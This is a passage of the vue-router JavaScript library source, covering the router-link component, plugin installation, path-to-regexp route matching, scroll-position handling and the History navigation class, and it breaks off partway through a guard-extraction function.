activeClass: String,
exactActiveClass: String,
event: {
type: eventTypes,
default: 'click'
}
},
render: function render (h) {
var this$1 = this;
var router = this.$router;
var current = this.$route;
var ref = router.resolve(this.to, current, this.append);
var location = ref.location;
var route = ref.route;
var href = ref.href;
var classes = {};
var globalActiveClass = router.options.linkActiveClass;
var globalExactActiveClass = router.options.linkExactActiveClass;
// Support global empty active class
var activeClassFallback = globalActiveClass == null
? 'router-link-active'
: globalActiveClass;
var exactActiveClassFallback = globalExactActiveClass == null
? 'router-link-exact-active'
: globalExactActiveClass;
var activeClass = this.activeClass == null
? activeClassFallback
: this.activeClass;
var exactActiveClass = this.exactActiveClass == null
? exactActiveClassFallback
: this.exactActiveClass;
var compareTarget = location.path
? createRoute(null, location, null, router)
: route;
classes[exactActiveClass] = isSameRoute(current, compareTarget);
classes[activeClass] = this.exact
? classes[exactActiveClass]
: isIncludedRoute(current, compareTarget);
var handler = function (e) {
if (guardEvent(e)) {
if (this$1.replace) {
router.replace(location);
} else {
router.push(location);
}
}
};
var on = { click: guardEvent };
if (Array.isArray(this.event)) {
this.event.forEach(function (e) { on[e] = handler; });
} else {
on[this.event] = handler;
}
var data = {
class: classes
};
if (this.tag === 'a') {
data.on = on;
data.attrs = { href: href };
} else {
// find the first <a> child and apply listener and href
var a = findAnchor(this.$slots.default);
if (a) {
// in case the <a> is a static node
a.isStatic = false;
var extend = _Vue.util.extend;
var aData = a.data = extend({}, a.data);
aData.on = on;
var aAttrs = a.data.attrs = extend({}, a.data.attrs);
aAttrs.href = href;
} else {
// doesn't have <a> child, apply listener to self
data.on = on;
}
}
return h(this.tag, data, this.$slots.default)
}
};
function guardEvent (e) {
// don't redirect with control keys
if (e.metaKey || e.altKey || e.ctrlKey || e.shiftKey) { return }
// don't redirect when preventDefault called
if (e.defaultPrevented) { return }
// don't redirect on right click
if (e.button !== undefined && e.button !== 0) { return }
// don't redirect if `target="_blank"`
if (e.currentTarget && e.currentTarget.getAttribute) {
var target = e.currentTarget.getAttribute('target');
if (/\b_blank\b/i.test(target)) { return }
}
// this may be a Weex event which doesn't have this method
if (e.preventDefault) {
e.preventDefault();
}
return true
}
function findAnchor (children) {
if (children) {
var child;
for (var i = 0; i < children.length; i++) {
child = children[i];
if (child.tag === 'a') {
return child
}
if (child.children && (child = findAnchor(child.children))) {
return child
}
}
}
}
var _Vue;
function install (Vue) {
if (install.installed) { return }
install.installed = true;
_Vue = Vue;
var isDef = function (v) { return v !== undefined; };
var registerInstance = function (vm, callVal) {
var i = vm.$options._parentVnode;
if (isDef(i) && isDef(i = i.data) && isDef(i = i.registerRouteInstance)) {
i(vm, callVal);
}
};
Vue.mixin({
beforeCreate: function beforeCreate () {
if (isDef(this.$options.router)) {
this._routerRoot = this;
this._router = this.$options.router;
this._router.init(this);
Vue.util.defineReactive(this, '_route', this._router.history.current);
} else {
this._routerRoot = (this.$parent && this.$parent._routerRoot) || this;
}
registerInstance(this, this);
},
destroyed: function destroyed () {
registerInstance(this);
}
});
Object.defineProperty(Vue.prototype, '$router', {
get: function get () { return this._routerRoot._router }
});
Object.defineProperty(Vue.prototype, '$route', {
get: function get () { return this._routerRoot._route }
});
Vue.component('router-view', View);
Vue.component('router-link', Link);
var strats = Vue.config.optionMergeStrategies;
// use the same hook merging strategy for route hooks
strats.beforeRouteEnter = strats.beforeRouteLeave = strats.beforeRouteUpdate = strats.created;
}
/* */
var inBrowser = typeof window !== 'undefined';
/* */
function resolvePath (
relative,
base,
append
) {
var firstChar = relative.charAt(0);
if (firstChar === '/') {
return relative
}
if (firstChar === '?' || firstChar === '#') {
return base + relative
}
var stack = base.split('/');
// remove trailing segment if:
// - not appending
// - appending to trailing slash (last segment is empty)
if (!append || !stack[stack.length - 1]) {
stack.pop();
}
// resolve relative path
var segments = relative.replace(/^\//, '').split('/');
for (var i = 0; i < segments.length; i++) {
var segment = segments[i];
if (segment === '..') {
stack.pop();
} else if (segment !== '.') {
stack.push(segment);
}
}
// ensure leading slash
if (stack[0] !== '') {
stack.unshift('');
}
return stack.join('/')
}
function parsePath (path) {
var hash = '';
var query = '';
var hashIndex = path.indexOf('#');
if (hashIndex >= 0) {
hash = path.slice(hashIndex);
path = path.slice(0, hashIndex);
}
var queryIndex = path.indexOf('?');
if (queryIndex >= 0) {
query = path.slice(queryIndex + 1);
path = path.slice(0, queryIndex);
}
return {
path: path,
query: query,
hash: hash
}
}
function cleanPath (path) {
return path.replace(/\/\//g, '/')
}
var index$1 = Array.isArray || function (arr) {
return Object.prototype.toString.call(arr) == '[object Array]';
};
/**
* Expose `pathToRegexp`.
*/
var index = pathToRegexp;
var parse_1 = parse;
var compile_1 = compile;
var tokensToFunction_1 = tokensToFunction;
var tokensToRegExp_1 = tokensToRegExp;
/**
* The main path matching regexp utility.
*
* @type {RegExp}
*/
var PATH_REGEXP = new RegExp([
// Match escaped characters that would otherwise appear in future matches.
// This allows the user to escape special characters that won't transform.
'(\\\\.)',
// Match Express-style parameters and un-named parameters with a prefix
// and optional suffixes. Matches appear as:
//
// "/:test(\\d+)?" => ["/", "test", "\d+", undefined, "?", undefined]
// "/route(\\d+)" => [undefined, undefined, undefined, "\d+", undefined, undefined]
// "/*" => ["/", undefined, undefined, undefined, undefined, "*"]
'([\\/.])?(?:(?:\\:(\\w+)(?:\\(((?:\\\\.|[^\\\\()])+)\\))?|\\(((?:\\\\.|[^\\\\()])+)\\))([+*?])?|(\\*))'
].join('|'), 'g');
/**
* Parse a string for the raw tokens.
*
* @param {string} str
* @param {Object=} options
* @return {!Array}
*/
function parse (str, options) {
var tokens = [];
var key = 0;
var index = 0;
var path = '';
var defaultDelimiter = options && options.delimiter || '/';
var res;
while ((res = PATH_REGEXP.exec(str)) != null) {
var m = res[0];
var escaped = res[1];
var offset = res.index;
path += str.slice(index, offset);
index = offset + m.length;
// Ignore already escaped sequences.
if (escaped) {
path += escaped[1];
continue
}
var next = str[index];
var prefix = res[2];
var name = res[3];
var capture = res[4];
var group = res[5];
var modifier = res[6];
var asterisk = res[7];
// Push the current path onto the tokens.
if (path) {
tokens.push(path);
path = '';
}
var partial = prefix != null && next != null && next !== prefix;
var repeat = modifier === '+' || modifier === '*';
var optional = modifier === '?' || modifier === '*';
var delimiter = res[2] || defaultDelimiter;
var pattern = capture || group;
tokens.push({
name: name || key++,
prefix: prefix || '',
delimiter: delimiter,
optional: optional,
repeat: repeat,
partial: partial,
asterisk: !!asterisk,
pattern: pattern ? escapeGroup(pattern) : (asterisk ? '.*' : '[^' + escapeString(delimiter) + ']+?')
});
}
// Match any characters still remaining.
if (index < str.length) {
path += str.substr(index);
}
// If the path exists, push it onto the end.
if (path) {
tokens.push(path);
}
return tokens
}
/**
* Compile a string to a template function for the path.
*
* @param {string} str
* @param {Object=} options
* @return {!function(Object=, Object=)}
*/
function compile (str, options) {
return tokensToFunction(parse(str, options))
}
/**
* Prettier encoding of URI path segments.
*
* @param {string}
* @return {string}
*/
function encodeURIComponentPretty (str) {
return encodeURI(str).replace(/[\/?#]/g, function (c) {
return '%' + c.charCodeAt(0).toString(16).toUpperCase()
})
}
/**
* Encode the asterisk parameter. Similar to `pretty`, but allows slashes.
*
* @param {string}
* @return {string}
*/
function encodeAsterisk (str) {
return encodeURI(str).replace(/[?#]/g, function (c) {
return '%' + c.charCodeAt(0).toString(16).toUpperCase()
})
}
/**
* Expose a method for transforming tokens into the path function.
*/
function tokensToFunction (tokens) {
// Compile all the tokens into regexps.
var matches = new Array(tokens.length);
// Compile all the patterns before compilation.
for (var i = 0; i < tokens.length; i++) {
if (typeof tokens[i] === 'object') {
matches[i] = new RegExp('^(?:' + tokens[i].pattern + ')$');
}
}
return function (obj, opts) {
var path = '';
var data = obj || {};
var options = opts || {};
var encode = options.pretty ? encodeURIComponentPretty : encodeURIComponent;
for (var i = 0; i < tokens.length; i++) {
var token = tokens[i];
if (typeof token === 'string') {
path += token;
continue
}
var value = data[token.name];
var segment;
if (value == null) {
if (token.optional) {
// Prepend partial segment prefixes.
if (token.partial) {
path += token.prefix;
}
continue
} else {
throw new TypeError('Expected "' + token.name + '" to be defined')
}
}
if (index$1(value)) {
if (!token.repeat) {
throw new TypeError('Expected "' + token.name + '" to not repeat, but received `' + JSON.stringify(value) + '`')
}
if (value.length === 0) {
if (token.optional) {
continue
} else {
throw new TypeError('Expected "' + token.name + '" to not be empty')
}
}
for (var j = 0; j < value.length; j++) {
segment = encode(value[j]);
if (!matches[i].test(segment)) {
throw new TypeError('Expected all "' + token.name + '" to match "' + token.pattern + '", but received `' + JSON.stringify(segment) + '`')
}
path += (j === 0 ? token.prefix : token.delimiter) + segment;
}
continue
}
segment = token.asterisk ? encodeAsterisk(value) : encode(value);
if (!matches[i].test(segment)) {
throw new TypeError('Expected "' + token.name + '" to match "' + token.pattern + '", but received "' + segment + '"')
}
path += token.prefix + segment;
}
return path
}
}
/**
* Escape a regular expression string.
*
* @param {string} str
* @return {string}
*/
function escapeString (str) {
return str.replace(/([.+*?=^!:${}()[\]|\/\\])/g, '\\$1')
}
/**
* Escape the capturing group by escaping special characters and meaning.
*
* @param {string} group
* @return {string}
*/
function escapeGroup (group) {
return group.replace(/([=!:$\/()])/g, '\\$1')
}
/**
* Attach the keys as a property of the regexp.
*
* @param {!RegExp} re
* @param {Array} keys
* @return {!RegExp}
*/
function attachKeys (re, keys) {
re.keys = keys;
return re
}
/**
* Get the flags for a regexp from the options.
*
* @param {Object} options
* @return {string}
*/
function flags (options) {
return options.sensitive ? '' : 'i'
}
/**
* Pull out keys from a regexp.
*
* @param {!RegExp} path
* @param {!Array} keys
* @return {!RegExp}
*/
function regexpToRegexp (path, keys) {
// Use a negative lookahead to match only capturing groups.
var groups = path.source.match(/\((?!\?)/g);
if (groups) {
for (var i = 0; i < groups.length; i++) {
keys.push({
name: i,
prefix: null,
delimiter: null,
optional: false,
repeat: false,
partial: false,
asterisk: false,
pattern: null
});
}
}
return attachKeys(path, keys)
}
/**
* Transform an array into a regexp.
*
* @param {!Array} path
* @param {Array} keys
* @param {!Object} options
* @return {!RegExp}
*/
function arrayToRegexp (path, keys, options) {
var parts = [];
for (var i = 0; i < path.length; i++) {
parts.push(pathToRegexp(path[i], keys, options).source);
}
var regexp = new RegExp('(?:' + parts.join('|') + ')', flags(options));
return attachKeys(regexp, keys)
}
/**
* Create a path regexp from string input.
*
* @param {string} path
* @param {!Array} keys
* @param {!Object} options
* @return {!RegExp}
*/
function stringToRegexp (path, keys, options) {
return tokensToRegExp(parse(path, options), keys, options)
}
/**
* Expose a function for taking tokens and returning a RegExp.
*
* @param {!Array} tokens
* @param {(Array|Object)=} keys
* @param {Object=} options
* @return {!RegExp}
*/
function tokensToRegExp (tokens, keys, options) {
if (!index$1(keys)) {
options = /** @type {!Object} */ (keys || options);
keys = [];
}
options = options || {};
var strict = options.strict;
var end = options.end !== false;
var route = '';
// Iterate over the tokens and create our regexp string.
for (var i = 0; i < tokens.length; i++) {
var token = tokens[i];
if (typeof token === 'string') {
route += escapeString(token);
} else {
var prefix = escapeString(token.prefix);
var capture = '(?:' + token.pattern + ')';
keys.push(token);
if (token.repeat) {
capture += '(?:' + prefix + capture + ')*';
}
if (token.optional) {
if (!token.partial) {
capture = '(?:' + prefix + '(' + capture + '))?';
} else {
capture = prefix + '(' + capture + ')?';
}
} else {
capture = prefix + '(' + capture + ')';
}
route += capture;
}
}
var delimiter = escapeString(options.delimiter || '/');
var endsWithDelimiter = route.slice(-delimiter.length) === delimiter;
// In non-strict mode we allow a slash at the end of match. If the path to
// match already ends with a slash, we remove it for consistency. The slash
// is valid at the end of a path match, not in the middle. This is important
// in non-ending mode, where "/test/" shouldn't match "/test//route".
if (!strict) {
route = (endsWithDelimiter ? route.slice(0, -delimiter.length) : route) + '(?:' + delimiter + '(?=$))?';
}
if (end) {
route += '$';
} else {
// In non-ending mode, we need the capturing groups to match as much as
// possible by using a positive lookahead to the end or next path segment.
route += strict && endsWithDelimiter ? '' : '(?=' + delimiter + '|$)';
}
return attachKeys(new RegExp('^' + route, flags(options)), keys)
}
/**
* Normalize the given path string, returning a regular expression.
*
* An empty array can be passed in for the keys, which will hold the
* placeholder key descriptions. For example, using `/user/:id`, `keys` will
* contain `[{ name: 'id', delimiter: '/', optional: false, repeat: false }]`.
*
* @param {(string|RegExp|Array)} path
* @param {(Array|Object)=} keys
* @param {Object=} options
* @return {!RegExp}
*/
function pathToRegexp (path, keys, options) {
if (!index$1(keys)) {
options = /** @type {!Object} */ (keys || options);
keys = [];
}
options = options || {};
if (path instanceof RegExp) {
return regexpToRegexp(path, /** @type {!Array} */ (keys))
}
if (index$1(path)) {
return arrayToRegexp(/** @type {!Array} */ (path), /** @type {!Array} */ (keys), options)
}
return stringToRegexp(/** @type {string} */ (path), /** @type {!Array} */ (keys), options)
}
index.parse = parse_1;
index.compile = compile_1;
index.tokensToFunction = tokensToFunction_1;
index.tokensToRegExp = tokensToRegExp_1;
/* */
var regexpCompileCache = Object.create(null);
function fillParams (
path,
params,
routeMsg
) {
try {
var filler =
regexpCompileCache[path] ||
(regexpCompileCache[path] = index.compile(path));
return filler(params || {}, { pretty: true })
} catch (e) {
if (process.env.NODE_ENV !== 'production') {
warn(false, ("missing param for " + routeMsg + ": " + (e.message)));
}
return ''
}
}
/* */
function createRouteMap (
routes,
oldPathList,
oldPathMap,
oldNameMap
) {
// the path list is used to control path matching priority
var pathList = oldPathList || [];
var pathMap = oldPathMap || Object.create(null);
var nameMap = oldNameMap || Object.create(null);
routes.forEach(function (route) {
addRouteRecord(pathList, pathMap, nameMap, route);
});
// ensure wildcard routes are always at the end
for (var i = 0, l = pathList.length; i < l; i++) {
if (pathList[i] === '*') {
pathList.push(pathList.splice(i, 1)[0]);
l--;
i--;
}
}
return {
pathList: pathList,
pathMap: pathMap,
nameMap: nameMap
}
}
function addRouteRecord (
pathList,
pathMap,
nameMap,
route,
parent,
matchAs
) {
var path = route.path;
var name = route.name;
if (process.env.NODE_ENV !== 'production') {
assert(path != null, "\"path\" is required in a route configuration.");
assert(
typeof route.component !== 'string',
"route config \"component\" for path: " + (String(path || name)) + " cannot be a " +
"string id. Use an actual component instead."
);
}
var normalizedPath = normalizePath(path, parent);
var pathToRegexpOptions = route.pathToRegexpOptions || {};
if (typeof route.caseSensitive === 'boolean') {
pathToRegexpOptions.sensitive = route.caseSensitive;
}
var record = {
path: normalizedPath,
regex: compileRouteRegex(normalizedPath, pathToRegexpOptions),
components: route.components || { default: route.component },
instances: {},
name: name,
parent: parent,
matchAs: matchAs,
redirect: route.redirect,
beforeEnter: route.beforeEnter,
meta: route.meta || {},
props: route.props == null
? {}
: route.components
? route.props
: { default: route.props }
};
if (route.children) {
// Warn if route is named, does not redirect and has a default child route.
// If users navigate to this route by name, the default child will
// not be rendered (GH Issue #629)
if (process.env.NODE_ENV !== 'production') {
if (route.name && !route.redirect && route.children.some(function (child) { return /^\/?$/.test(child.path); })) {
warn(
false,
"Named Route '" + (route.name) + "' has a default child route. " +
"When navigating to this named route (:to=\"{name: '" + (route.name) + "'\"), " +
"the default child route will not be rendered. Remove the name from " +
"this route and use the name of the default child route for named " +
"links instead."
);
}
}
route.children.forEach(function (child) {
var childMatchAs = matchAs
? cleanPath((matchAs + "/" + (child.path)))
: undefined;
addRouteRecord(pathList, pathMap, nameMap, child, record, childMatchAs);
});
}
if (route.alias !== undefined) {
var aliases = Array.isArray(route.alias)
? route.alias
: [route.alias];
aliases.forEach(function (alias) {
var aliasRoute = {
path: alias,
children: route.children
};
addRouteRecord(
pathList,
pathMap,
nameMap,
aliasRoute,
parent,
record.path || '/' // matchAs
);
});
}
if (!pathMap[record.path]) {
pathList.push(record.path);
pathMap[record.path] = record;
}
if (name) {
if (!nameMap[name]) {
nameMap[name] = record;
} else if (process.env.NODE_ENV !== 'production' && !matchAs) {
warn(
false,
"Duplicate named routes definition: " +
"{ name: \"" + name + "\", path: \"" + (record.path) + "\" }"
);
}
}
}
function compileRouteRegex (path, pathToRegexpOptions) {
var regex = index(path, [], pathToRegexpOptions);
if (process.env.NODE_ENV !== 'production') {
var keys = {};
regex.keys.forEach(function (key) {
warn(!keys[key.name], ("Duplicate param keys in route with path: \"" + path + "\""));
keys[key.name] = true;
});
}
return regex
}
function normalizePath (path, parent) {
path = path.replace(/\/$/, '');
if (path[0] === '/') { return path }
if (parent == null) { return path }
return cleanPath(((parent.path) + "/" + path))
}
/* */
function normalizeLocation (
raw,
current,
append,
router
) {
var next = typeof raw === 'string' ? { path: raw } : raw;
// named target
if (next.name || next._normalized) {
return next
}
// relative params
if (!next.path && next.params && current) {
next = assign({}, next);
next._normalized = true;
var params = assign(assign({}, current.params), next.params);
if (current.name) {
next.name = current.name;
next.params = params;
} else if (current.matched.length) {
var rawPath = current.matched[current.matched.length - 1].path;
next.path = fillParams(rawPath, params, ("path " + (current.path)));
} else if (process.env.NODE_ENV !== 'production') {
warn(false, "relative params navigation requires a current route.");
}
return next
}
var parsedPath = parsePath(next.path || '');
var basePath = (current && current.path) || '/';
var path = parsedPath.path
? resolvePath(parsedPath.path, basePath, append || next.append)
: basePath;
var query = resolveQuery(
parsedPath.query,
next.query,
router && router.options.parseQuery
);
var hash = next.hash || parsedPath.hash;
if (hash && hash.charAt(0) !== '#') {
hash = "#" + hash;
}
return {
_normalized: true,
path: path,
query: query,
hash: hash
}
}
function assign (a, b) {
for (var key in b) {
a[key] = b[key];
}
return a
}
/* */
function createMatcher (
routes,
router
) {
var ref = createRouteMap(routes);
var pathList = ref.pathList;
var pathMap = ref.pathMap;
var nameMap = ref.nameMap;
function addRoutes (routes) {
createRouteMap(routes, pathList, pathMap, nameMap);
}
function match (
raw,
currentRoute,
redirectedFrom
) {
var location = normalizeLocation(raw, currentRoute, false, router);
var name = location.name;
if (name) {
var record = nameMap[name];
if (process.env.NODE_ENV !== 'production') {
warn(record, ("Route with name '" + name + "' does not exist"));
}
if (!record) { return _createRoute(null, location) }
var paramNames = record.regex.keys
.filter(function (key) { return !key.optional; })
.map(function (key) { return key.name; });
if (typeof location.params !== 'object') {
location.params = {};
}
if (currentRoute && typeof currentRoute.params === 'object') {
for (var key in currentRoute.params) {
if (!(key in location.params) && paramNames.indexOf(key) > -1) {
location.params[key] = currentRoute.params[key];
}
}
}
if (record) {
location.path = fillParams(record.path, location.params, ("named route \"" + name + "\""));
return _createRoute(record, location, redirectedFrom)
}
} else if (location.path) {
location.params = {};
for (var i = 0; i < pathList.length; i++) {
var path = pathList[i];
var record$1 = pathMap[path];
if (matchRoute(record$1.regex, location.path, location.params)) {
return _createRoute(record$1, location, redirectedFrom)
}
}
}
// no match
return _createRoute(null, location)
}
function redirect (
record,
location
) {
var originalRedirect = record.redirect;
var redirect = typeof originalRedirect === 'function'
? originalRedirect(createRoute(record, location, null, router))
: originalRedirect;
if (typeof redirect === 'string') {
redirect = { path: redirect };
}
if (!redirect || typeof redirect !== 'object') {
if (process.env.NODE_ENV !== 'production') {
warn(
false, ("invalid redirect option: " + (JSON.stringify(redirect)))
);
}
return _createRoute(null, location)
}
var re = redirect;
var name = re.name;
var path = re.path;
var query = location.query;
var hash = location.hash;
var params = location.params;
query = re.hasOwnProperty('query') ? re.query : query;
hash = re.hasOwnProperty('hash') ? re.hash : hash;
params = re.hasOwnProperty('params') ? re.params : params;
if (name) {
// resolved named direct
var targetRecord = nameMap[name];
if (process.env.NODE_ENV !== 'production') {
assert(targetRecord, ("redirect failed: named route \"" + name + "\" not found."));
}
return match({
_normalized: true,
name: name,
query: query,
hash: hash,
params: params
}, undefined, location)
} else if (path) {
// 1. resolve relative redirect
var rawPath = resolveRecordPath(path, record);
// 2. resolve params
var resolvedPath = fillParams(rawPath, params, ("redirect route with path \"" + rawPath + "\""));
// 3. rematch with existing query and hash
return match({
_normalized: true,
path: resolvedPath,
query: query,
hash: hash
}, undefined, location)
} else {
if (process.env.NODE_ENV !== 'production') {
warn(false, ("invalid redirect option: " + (JSON.stringify(redirect))));
}
return _createRoute(null, location)
}
}
function alias (
record,
location,
matchAs
) {
var aliasedPath = fillParams(matchAs, location.params, ("aliased route with path \"" + matchAs + "\""));
var aliasedMatch = match({
_normalized: true,
path: aliasedPath
});
if (aliasedMatch) {
var matched = aliasedMatch.matched;
var aliasedRecord = matched[matched.length - 1];
location.params = aliasedMatch.params;
return _createRoute(aliasedRecord, location)
}
return _createRoute(null, location)
}
function _createRoute (
record,
location,
redirectedFrom
) {
if (record && record.redirect) {
return redirect(record, redirectedFrom || location)
}
if (record && record.matchAs) {
return alias(record, location, record.matchAs)
}
return createRoute(record, location, redirectedFrom, router)
}
return {
match: match,
addRoutes: addRoutes
}
}
function matchRoute (
regex,
path,
params
) {
var m = path.match(regex);
if (!m) {
return false
} else if (!params) {
return true
}
for (var i = 1, len = m.length; i < len; ++i) {
var key = regex.keys[i - 1];
var val = typeof m[i] === 'string' ? decodeURIComponent(m[i]) : m[i];
if (key) {
params[key.name] = val;
}
}
return true
}
function resolveRecordPath (path, record) {
return resolvePath(path, record.parent ? record.parent.path : '/', true)
}
/* */
var positionStore = Object.create(null);
function setupScroll () {
window.addEventListener('popstate', function (e) {
saveScrollPosition();
if (e.state && e.state.key) {
setStateKey(e.state.key);
}
});
}
function handleScroll (
router,
to,
from,
isPop
) {
if (!router.app) {
return
}
var behavior = router.options.scrollBehavior;
if (!behavior) {
return
}
if (process.env.NODE_ENV !== 'production') {
assert(typeof behavior === 'function', "scrollBehavior must be a function");
}
// wait until re-render finishes before scrolling
router.app.$nextTick(function () {
var position = getScrollPosition();
var shouldScroll = behavior(to, from, isPop ? position : null);
if (!shouldScroll) {
return
}
var isObject = typeof shouldScroll === 'object';
if (isObject && typeof shouldScroll.selector === 'string') {
var el = document.querySelector(shouldScroll.selector);
if (el) {
var offset = shouldScroll.offset && typeof shouldScroll.offset === 'object' ? shouldScroll.offset : {};
offset = normalizeOffset(offset);
position = getElementPosition(el, offset);
} else if (isValidPosition(shouldScroll)) {
position = normalizePosition(shouldScroll);
}
} else if (isObject && isValidPosition(shouldScroll)) {
position = normalizePosition(shouldScroll);
}
if (position) {
window.scrollTo(position.x, position.y);
}
});
}
function saveScrollPosition () {
var key = getStateKey();
if (key) {
positionStore[key] = {
x: window.pageXOffset,
y: window.pageYOffset
};
}
}
function getScrollPosition () {
var key = getStateKey();
if (key) {
return positionStore[key]
}
}
function getElementPosition (el, offset) {
var docEl = document.documentElement;
var docRect = docEl.getBoundingClientRect();
var elRect = el.getBoundingClientRect();
return {
x: elRect.left - docRect.left - offset.x,
y: elRect.top - docRect.top - offset.y
}
}
function isValidPosition (obj) {
return isNumber(obj.x) || isNumber(obj.y)
}
function normalizePosition (obj) {
return {
x: isNumber(obj.x) ? obj.x : window.pageXOffset,
y: isNumber(obj.y) ? obj.y : window.pageYOffset
}
}
function normalizeOffset (obj) {
return {
x: isNumber(obj.x) ? obj.x : 0,
y: isNumber(obj.y) ? obj.y : 0
}
}
function isNumber (v) {
return typeof v === 'number'
}
/* */
var supportsPushState = inBrowser && (function () {
var ua = window.navigator.userAgent;
if (
(ua.indexOf('Android 2.') !== -1 || ua.indexOf('Android 4.0') !== -1) &&
ua.indexOf('Mobile Safari') !== -1 &&
ua.indexOf('Chrome') === -1 &&
ua.indexOf('Windows Phone') === -1
) {
return false
}
return window.history && 'pushState' in window.history
})();
// use User Timing api (if present) for more accurate key precision
var Time = inBrowser && window.performance && window.performance.now
? window.performance
: Date;
var _key = genKey();
function genKey () {
return Time.now().toFixed(3)
}
function getStateKey () {
return _key
}
function setStateKey (key) {
_key = key;
}
function pushState (url, replace) {
saveScrollPosition();
// try...catch the pushState call to get around Safari
// DOM Exception 18 where it limits to 100 pushState calls
var history = window.history;
try {
if (replace) {
history.replaceState({ key: _key }, '', url);
} else {
_key = genKey();
history.pushState({ key: _key }, '', url);
}
} catch (e) {
window.location[replace ? 'replace' : 'assign'](url);
}
}
function replaceState (url) {
pushState(url, true);
}
/* */
function runQueue (queue, fn, cb) {
var step = function (index) {
if (index >= queue.length) {
cb();
} else {
if (queue[index]) {
fn(queue[index], function () {
step(index + 1);
});
} else {
step(index + 1);
}
}
};
step(0);
}
/* */
function resolveAsyncComponents (matched) {
return function (to, from, next) {
var hasAsync = false;
var pending = 0;
var error = null;
flatMapComponents(matched, function (def, _, match, key) {
// if it's a function and doesn't have cid attached,
// assume it's an async component resolve function.
// we are not using Vue's default async resolving mechanism because
// we want to halt the navigation until the incoming component has been
// resolved.
if (typeof def === 'function' && def.cid === undefined) {
hasAsync = true;
pending++;
var resolve = once(function (resolvedDef) {
if (resolvedDef.__esModule && resolvedDef.default) {
resolvedDef = resolvedDef.default;
}
// save resolved on async factory in case it's used elsewhere
def.resolved = typeof resolvedDef === 'function'
? resolvedDef
: _Vue.extend(resolvedDef);
match.components[key] = resolvedDef;
pending--;
if (pending <= 0) {
next();
}
});
var reject = once(function (reason) {
var msg = "Failed to resolve async component " + key + ": " + reason;
process.env.NODE_ENV !== 'production' && warn(false, msg);
if (!error) {
error = isError(reason)
? reason
: new Error(msg);
next(error);
}
});
var res;
try {
res = def(resolve, reject);
} catch (e) {
reject(e);
}
if (res) {
if (typeof res.then === 'function') {
res.then(resolve, reject);
} else {
// new syntax in Vue 2.3
var comp = res.component;
if (comp && typeof comp.then === 'function') {
comp.then(resolve, reject);
}
}
}
}
});
if (!hasAsync) { next(); }
}
}
function flatMapComponents (
matched,
fn
) {
return flatten(matched.map(function (m) {
return Object.keys(m.components).map(function (key) { return fn(
m.components[key],
m.instances[key],
m, key
); })
}))
}
function flatten (arr) {
return Array.prototype.concat.apply([], arr)
}
// in Webpack 2, require.ensure now also returns a Promise
// so the resolve/reject functions may get called an extra time
// if the user uses an arrow function shorthand that happens to
// return that Promise.
function once (fn) {
var called = false;
return function () {
var args = [], len = arguments.length;
while ( len-- ) args[ len ] = arguments[ len ];
if (called) { return }
called = true;
return fn.apply(this, args)
}
}
/* */
var History = function History (router, base) {
this.router = router;
this.base = normalizeBase(base);
// start with a route object that stands for "nowhere"
this.current = START;
this.pending = null;
this.ready = false;
this.readyCbs = [];
this.readyErrorCbs = [];
this.errorCbs = [];
};
History.prototype.listen = function listen (cb) {
this.cb = cb;
};
History.prototype.onReady = function onReady (cb, errorCb) {
if (this.ready) {
cb();
} else {
this.readyCbs.push(cb);
if (errorCb) {
this.readyErrorCbs.push(errorCb);
}
}
};
History.prototype.onError = function onError (errorCb) {
this.errorCbs.push(errorCb);
};
History.prototype.transitionTo = function transitionTo (location, onComplete, onAbort) {
var this$1 = this;
var route = this.router.match(location, this.current);
this.confirmTransition(route, function () {
this$1.updateRoute(route);
onComplete && onComplete(route);
this$1.ensureURL();
// fire ready cbs once
if (!this$1.ready) {
this$1.ready = true;
this$1.readyCbs.forEach(function (cb) { cb(route); });
}
}, function (err) {
if (onAbort) {
onAbort(err);
}
if (err && !this$1.ready) {
this$1.ready = true;
this$1.readyErrorCbs.forEach(function (cb) { cb(err); });
}
});
};
History.prototype.confirmTransition = function confirmTransition (route, onComplete, onAbort) {
var this$1 = this;
var current = this.current;
var abort = function (err) {
if (isError(err)) {
if (this$1.errorCbs.length) {
this$1.errorCbs.forEach(function (cb) { cb(err); });
} else {
warn(false, 'uncaught error during route navigation:');
console.error(err);
}
}
onAbort && onAbort(err);
};
if (
isSameRoute(route, current) &&
// in the case the route map has been dynamically appended to
route.matched.length === current.matched.length
) {
this.ensureURL();
return abort()
}
var ref = resolveQueue(this.current.matched, route.matched);
var updated = ref.updated;
var deactivated = ref.deactivated;
var activated = ref.activated;
var queue = [].concat(
// in-component leave guards
extractLeaveGuards(deactivated),
// global before hooks
this.router.beforeHooks,
// in-component update hooks
extractUpdateHooks(updated),
// in-config enter guards
activated.map(function (m) { return m.beforeEnter; }),
// async components
resolveAsyncComponents(activated)
);
this.pending = route;
var iterator = function (hook, next) {
if (this$1.pending !== route) {
return abort()
}
try {
hook(route, current, function (to) {
if (to === false || isError(to)) {
// next(false) -> abort navigation, ensure current URL
this$1.ensureURL(true);
abort(to);
} else if (
typeof to === 'string' ||
(typeof to === 'object' && (
typeof to.path === 'string' ||
typeof to.name === 'string'
))
) {
// next('/') or next({ path: '/' }) -> redirect
abort();
if (typeof to === 'object' && to.replace) {
this$1.replace(to);
} else {
this$1.push(to);
}
} else {
// confirm transition and pass on the value
next(to);
}
});
} catch (e) {
abort(e);
}
};
runQueue(queue, iterator, function () {
var postEnterCbs = [];
var isValid = function () { return this$1.current === route; };
// wait until async components are resolved before
// extracting in-component enter guards
var enterGuards = extractEnterGuards(activated, postEnterCbs, isValid);
var queue = enterGuards.concat(this$1.router.resolveHooks);
runQueue(queue, iterator, function () {
if (this$1.pending !== route) {
return abort()
}
this$1.pending = null;
onComplete(route);
if (this$1.router.app) {
this$1.router.app.$nextTick(function () {
postEnterCbs.forEach(function (cb) { cb(); });
});
}
});
});
};
History.prototype.updateRoute = function updateRoute (route) {
var prev = this.current;
this.current = route;
this.cb && this.cb(route);
this.router.afterHooks.forEach(function (hook) {
hook && hook(route, prev);
});
};
function normalizeBase (base) {
if (!base) {
if (inBrowser) {
// respect <base> tag
var baseEl = document.querySelector('base');
base = (baseEl && baseEl.getAttribute('href')) || '/';
// strip full URL origin
base = base.replace(/^https?:\/\/[^\/]+/, '');
} else {
base = '/';
}
}
// make sure there's the starting slash
if (base.charAt(0) !== '/') {
base = '/' + base;
}
// remove trailing slash
return base.replace(/\/$/, '')
}
function resolveQueue (
current,
next
) {
var i;
var max = Math.max(current.length, next.length);
for (i = 0; i < max; i++) {
if (current[i] !== next[i]) {
break
}
}
return {
updated: next.slice(0, i),
activated: next.slice(i),
deactivated: current.slice(i)
}
}
function extractGuards (
records,
name,
bind,
reverse
) {
